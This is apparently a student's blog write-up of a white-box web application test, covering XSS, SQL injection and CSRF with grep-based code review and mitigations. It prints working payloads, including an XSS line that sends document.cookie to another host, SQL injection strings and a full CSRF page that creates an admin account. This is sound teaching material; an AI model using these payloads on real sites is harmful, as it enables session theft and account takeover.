Secure Software Development: Web

Hello guys. Today I’ll be documenting a white box web application test that I performed during my undergraduate degree. A white box assessment is where you are provided with documentation and source code. This helps as I can perform a code review to view potential vulnerabilities before I attempt to exploit in run-time “blindly”.

In summary, this web application had findings for many common web application vulnerabilities including:

  • Cross Site Scripting (XSS)
  • SQL Injection
  • Cross site request forgery (CSRF)
  • Access Control

Cross Site Scripting

Vulnerability Description

Cross-site scripting (XSS) is an attack by which the attacker injects code into a web application such that it is executed in the victim’s browser. There are three types of XSS. Firstly there is reflected XSS, which is non-persistent, requiring the URL to contain the malicious code. Often, reflected XSS is not possible without some social engineering to get the victim to click the hyperlink. Secondly, there is stored XSS (a.k.a. persistent XSS), which, by nature of the name, is persistent. It involves an attacker injecting code such that it is stored for example in a database, and displayed to the user without any URL manipulation. Social engineering is often not required for this attack to be successful.  

Finally, there is DOM-based XSS, which occurs when an application writes data to the DOM without proper sanitization. This attack takes place during the rendering of the page, and sometimes can only be discovered at run-time. A more detailed description of XSS is found on OWASP’s website. A very common example of an XSS test is:

<script>alert('xss')</script>
Simple XSS

Vulnerability Discovery

To discover the XSS vulnerability in this web application, I used the CLI tool grep to search using a regular expression across the HTML files.

$ grep -ri "innerHTML" ./

There was a single match:

<span [innerHTML] = "course.description | safe: 'html'"></span>

The reason that this is vulnerable is that innerHTML does not encode special characters, allowing the browser to interpret user input as HTML code; and executes it. Furthermore, the span uses a pipe to safe, which is a reference to the safe.pipe.ts file. The file contains a vulnerability as well which allows HTML to bypass the default Angular rendering template security considerations.

To test this finding, I used the following payload:

<img src="noSrc" onerror="alert('xss'); " /> 

This can be considered a stored and DOM-based XSS attack. When manually viewing the database, it is seen that user input is not sanitized, and HTML tags (<>) are stored.

Vulnerability Mitigation Suggestion for this Application

Using the Angular rendering template can mitigate this vulnerability.

Changing the code from

<span [innerHTML] = "course.description | safe: 'html'"></span>

to

{{ course.description }}

Further mitigation is to validate user input, preventing all except for whitelisted HTML tags from being stored. To do this, a security policy must be implemented. An example of allowing bold HTML tags, as well as URLs which are HTTPS only. :

public boolean isValid(String value, ConstraintValidatorContext context) {
  PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("a")
    .allowUrlProtocols("https")
    .allowElements("b")
    .toFactory();

  String sanitized = policy.sanitize(value); 
  return sanitized.equals(value);
}

XSS Protection Best Practice:

Firstly, always use encoding/ escaping of user (untrusted) input. This can be done on both the server side as well as the client side. Secondly input validation should be used. This should be done on a whitelist basis, making it easier to manage what is allowed or not allowed. Input validation is only a second line defense. Thirdly, content security policies (CSPs) can be used to constrain the browser only to load trusted resources (scripts/ images).


SQL Injection

Vulnerability Description

SQL injection (SQLi) is an attack by which the attacker uses special characters to interact directly with the database – inconsistent with the application purpose. . SQLi can be used to:

  • Read/modify sensitive data, 
  • Execute administrative operations
  • Truncate tables
  • Issue OS commands. 

There are diverse types of SQLi such as string injection, numeric injection, and blind injection.
An example of vulnerable application code and a possible exploit payload:

SELECT * FROM users WHERE name = '" + userName +"'";
username = smith' or '1' = '1 

This payload will force the database to dump the entire users table because of the 1=1 statement (always true). Furthermore, there is no LIMIT flag in the command to specify maximum lines returned. 

Vulnerability Discovery

Similar to the discovery of XSS, I performed a manual code review using grep.

$ grep -riE "SELECT .* FROM" ./

which had two matches:

"SELECT ENROLLMENT FROM ENROLLMENT ENROLLMENT WHERE ENROLLMENT.COMMENTS LIKE '%" + query + "%'";

"SELECT * FROM course WHERE description LIKE '%" + query + "%'";

The issue with this code is that it concatenates user

The issue with this code is that it concatenates user input with the query that is sent to the SQL database; without any user input validation. Using the following payload was able to trigger dumping the entire database:

First%' OR '1' LIKE '1

The reason that I used the LIKE command in this instance is because the hard coded SQL statement uses LIKE. Without the use of LIKE in the payload, an error would have returned from the database.

Vulnerability Mitigation Suggestion for this Application

Prepared statements are those used to repeatedly perform SQL queries with high efficiency. In addition, query parameterization and hibernate query language (HQL) is used to further prevent SQL injection attacks. With these solutions, user input is no longer inserted directly into the query, but is sent as a value. This means that correct escaping is no longer required; special characters will not be interpreted.

@GetMapping("/_search/enrollments")
@Timed
  public List<Enrollment> searchEnrollments(@RequestParam String query) {
    String likeForSQL = "%" + query + "%";

    Session session = HibernateUtil.getSession();
    Query hibernateQuery = session.createQuery("select enrollment from Enrollment enrollment where enrollment.comments like ?");

    hibernateQuery.setParameter(0, likeForSQL);
    return hibernateQuery.list();
  }

Cross-site request forgery (CSRF)

Vulnerability Description

Malicious CSRF requests perform state-changing transactions on a website for which the victim has already authenticated themselves. This attack is often only successful through adversarial social engineering for example some phishing. The victim must visit a malicious page which sets out to perform actions on another page on behalf of the victim. Below is an example to test whether CSRF tokens are validated

With a CSRF token in the HTTP header, the user is able to change their password (HTTP 200 response)
With a NULL CSRF token in the HTTP header, user is not able to change their password (HTTP 403 response)

Vulnerability Discovery

It is best practice that the CSRF token should change after every POST request. During testing when searching for a vulnerability, it was noticed that the same CSRF token could be used for multiple change password requests during the same session. The vulnerability in this web application is that the CSRF token does not change.

It was possible to exploit the CSRF vulnerability by creating a nefarious link on the webpage, which sends the active cookie to another domain in the URL request.

<img src="x" onerror=document.location="http://127.0.0.1/hello.html?tokenGet="+document.cookie />

The HTML code above exploits the XSS vulnerability to send the cookie to another domian, which interprets the cookie stealing the CSRF token. The exploit relies on an admin viewing the HTML code as the exploit would create an additional user, with admin permission using credentials which are known to the adversary.

CSRF Vulnerability Demo:

<html>
  <head>
    <title>Exploit</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <script>
      function exploit() {
      var url = "http://localhost:8080/api/users";
      
      var data = {}
      data.id = null;
      data.login = "1user";
      data.firstName = "User";
      data.lastName = "User";
      data.email = "user@localhost.com";
      data.imageUrl = "";
      data.activated = true;
      data.langKey = "en";
      data.createdBy = "system";
      data.createdDate = null;
      data.lastModifiedBy = null;
      data.lastModifiedDate = null;
      data.authorities = ["ROLE_ADMIN"];
      var json = JSON.stringify(data);
      var fullCookie = document.getElementById('tokenValue').value;
      var onlyXSRF = fullCookie.substring(11, 100);
      var tokenValue = onlyXSRF;
      var xhr = new XMLHttpRequest();      
      xhr.open("POST", url, true);
      xhr.withCredentials = true;
      xhr.setRequestHeader('Content-type', 'application/json;
      charset=utf-8');
      xhr.setRequestHeader('Referrer', 'http://localhost:8080/');
      xhr.setRequestHeader('X-XSRF-TOKEN', tokenValue);
      xhr.send(json);
      setTimeout("location.href='http://localhost:8080';", 300);
      }
    </script>
  </head>
  <body onload="exploit()">
    <center>
    <h1>Nothing Dodgy Here v2</h1>
    </center>
    <form method="GET" name="tokenGet" onsubmit="exploit()" id="theForm">
    <input type="text" id="tokenValue" name="tokenValue">
    <script>
    const sp = new URLSearchParams(location.search)
    document.getElementById('tokenValue').value =
    sp.get('tokenGet')
    </script>
    <button type="submit">Go</button>
    </form>
  </body>
</html>

Vulnerability Mitigation Suggestion

  1. Configure the application to reject re-submitted CSRF tokens, and to refresh the CSRF token in the cookie after every POST request
  2. Ensure that the user fully authenticates themselves for critical changes – such as authentication code when creating additional users.
  3. Implement the Same Origin Policy which prevents tokens from being approved by different domains.
  4. Place CSRF tokens within the HTML body that are sent with POST or PUT requests.
<form action="/sendMoney" method="post"> 
  <input type="hidden" name="CSRF-Token" value="YourRandomTokenHere"> 
  ...
</form>

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.